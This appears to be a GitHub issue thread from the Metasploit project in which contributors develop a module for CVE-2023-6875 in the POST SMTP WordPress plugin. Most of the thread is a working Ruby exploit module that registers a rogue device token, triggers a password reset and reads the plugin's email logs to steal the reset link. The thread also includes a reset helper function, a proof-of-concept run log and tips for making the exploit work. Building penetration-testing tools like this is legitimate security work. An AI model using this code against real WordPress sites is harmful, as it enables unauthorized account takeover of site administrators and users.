metasploit-framework
metasploit-framework copied to clipboard
Wordpress POST SMTP Mailer plugin (CVE-2023-6875)
Summary
CVSS 9.8 allows unauthenticated account takeover on wordpress. Looks like a pretty fun exploit, you auth bypass, then do an account password reset, then view the logs to pull out the URL used.
Basic example
untested: https://github.com/UlyssesSaicha/CVE-2023-6875/blob/main/poc.py
Hi, i would like to try adding this module. :)
sure! I was working on it, but feel free to use what I have so far:
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HTTP::Wordpress
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Wordpress POST SMTP Account Takeover',
'Description' => %q{
POST SMTP LMS, a WordPress plugin,
prior to 2.8.7 is affected by a privilege escalation where an unauthenticated
user is able to reset the password of an arbitrary user.
},
'Author' => [
'h00die', # msf module
'Ulysses Saicha', # Discovery, POC
],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2023-6875'],
['URL', 'https://github.com/UlyssesSaicha/CVE-2023-6875/tree/main'],
],
'DisclosureDate' => '2024-01-10',
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [IOC_IN_LOGS],
'Reliability' => []
}
)
)
register_options(
[
OptString.new('USERNAME', [true, 'Username to password reset', '']),
]
)
end
def register_token
vprint_status('Registering token')
token = Rex::Text.rand_text_alphanumeric(10..16)
device = Rex::Text.rand_text_alphanumeric(10..16)
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'wp-json', 'post-smtp', 'v1', 'connect-app'),
'ctype' => 'application/x-www-form-urlencoded',
'headers' => { 'fcm-token' => token, 'device' => device }
)
fail_with(Failure::Unreachable, 'Connection failed') unless res
fail_with(Failure::UnexpectedReply, 'Request Failed to return a successful response') unless res.code == 200 # 404 if the URL structure is wonky, 401 not vulnerable
print_good("Succesfully created token: #{token}")
return token, device
end
def check
unless wordpress_and_online?
return Msf::Exploit::CheckCode::Safe('Server not online or not detected as wordpress')
end
checkcode = check_plugin_version_from_readme('post-smtp', '2.8.6')
if checkcode == Msf::Exploit::CheckCode::Safe
return Msf::Exploit::CheckCode::Safe('POST SMTP version not vulnerable')
end
checkcode
end
def run
fail_with(Failure::NotFound, "#{datastore['USERNAME']} not found on this wordpress install") unless wordpress_user_exists? datastore['USERNAME']
token, device = register_token
fail_with(Failure::UnexpectedReply, "Password reset for #{datastore['USERNAME']} failed") unless reset_user_password(datastore['USERNAME'])
print_status('Requesting logs')
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'wp-json', 'post-smtp', 'v1', 'get-logs'),
'ctype' => 'application/x-www-form-urlencoded',
'headers' => { 'fcm-token' => token, 'device' => device }
)
fail_with(Failure::Unreachable, 'Connection failed') unless res
fail_with(Failure::UnexpectedReply, 'Request Failed to return a successful response') unless res.code == 200
json_doc = res.get_json_document
# we want the latest email as that's the one with the password reset
doc_id = json_doc['data'][0]['id']
print_status("Requesting email content from logs for ID #{doc_id}")
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'wp-admin', 'admin.php'),
'ctype' => 'application/x-www-form-urlencoded',
'headers' => { 'fcm-token' => token, 'device' => device },
'vars_get' => { 'access_token' => token, 'type' => 'log', 'log_id' => doc_id }
)
fail_with(Failure::Unreachable, 'Connection failed') unless res
fail_with(Failure::UnexpectedReply, 'Request Failed to return a successful response') unless res.code == 200
# XXX we'll need to process this email and pull out the link, likely a regex. Example from my test: http://1.1.1.1/wp-login.php?action=rp&key=EwDT7OKgZiMPIhinsrhY&login=admin&wp_lang=en_US
puts res.body
end
end
Untested, but most of the functions and all that you'll need are stubbed in.
You'll also want to update lib/msf/core/exploit/remote/http/wordpress/users.rb
with a new function at the end:
# Performs a password reset for a user
#
# @param user [String] Username
# @return [Boolean] true if the request was successful
def reset_user_password(user)
res = send_request_cgi({
'method' => 'POST',
'uri' => wordpress_url_login,
'vars_get' => { 'action' => 'lostpassword' },
'vars_post' => { 'user_login' => user, 'redirect_to' => '', 'wp-submit' => 'Get New Password' }
})
return false if res.nil?
return false unless res.code == 200
true
end
I'll also note, 2.8.7 which is supposed to be vulnerable wasn't taking my fcm-token
from the POC, I had to downgrade to 2.8.6 to make it exploitable.
Looks cool!
I met the error that I can't reach certain pages. This may be due to improper configuration of the SMTP POST plugin and the related Wordpress docker container. Can you share any tricks on that? Thank you.
Enter the target URL: http://172.16.101.188
Setting the FCM Token
http://172.16.101.188/wp-json/post-smtp/v1/connect-app Response Code: 404
Username for password reset: admin
Attempting password reset
http://172.16.101.188/wp-login.php?action=lostpassword Response Code: 200
Getting all email logs
http://172.16.101.188/wp-json/post-smtp/v1/get-logs Response Code: 404
Traceback (most recent call last):
File "/usr/local/lib/python3.9/dist-packages/requests/models.py", line 971, in json
return complexjson.loads(self.text, **kwargs)
File "/usr/lib/python3.9/json/__init__.py", line 346, in loads
return _default_decoder.decode(s)
File "/usr/lib/python3.9/json/decoder.py", line 337, in decode
obj, end = self.raw_decode(s, idx=_w(s, 0).end())
File "/usr/lib/python3.9/json/decoder.py", line 355, in raw_decode
raise JSONDecodeError("Expecting value", s, err.value) from None
json.decoder.JSONDecodeError: Expecting value: line 1 column 1 (char 0)
During handling of the above exception, another exception occurred:
Traceback (most recent call last):
File "/home/evergreenyoung21/CVE-2023-6875/poc.py", line 61, in <module>
r = r.json()
File "/usr/local/lib/python3.9/dist-packages/requests/models.py", line 975, in json
raise RequestsJSONDecodeError(e.msg, e.doc, e.pos)
requests.exceptions.JSONDecodeError: Expecting value: line 1 column 1 (char 0)
I got the point: set the permlink of Wordpress to a certain format, to avoid the API request to be ignored or redirected to the homepage. That's how the request to the POST SMTP can work.
https://github.com/rapid7/metasploit-framework/pull/18164#issuecomment-1623744244
@JohannesLks hows it going on the module?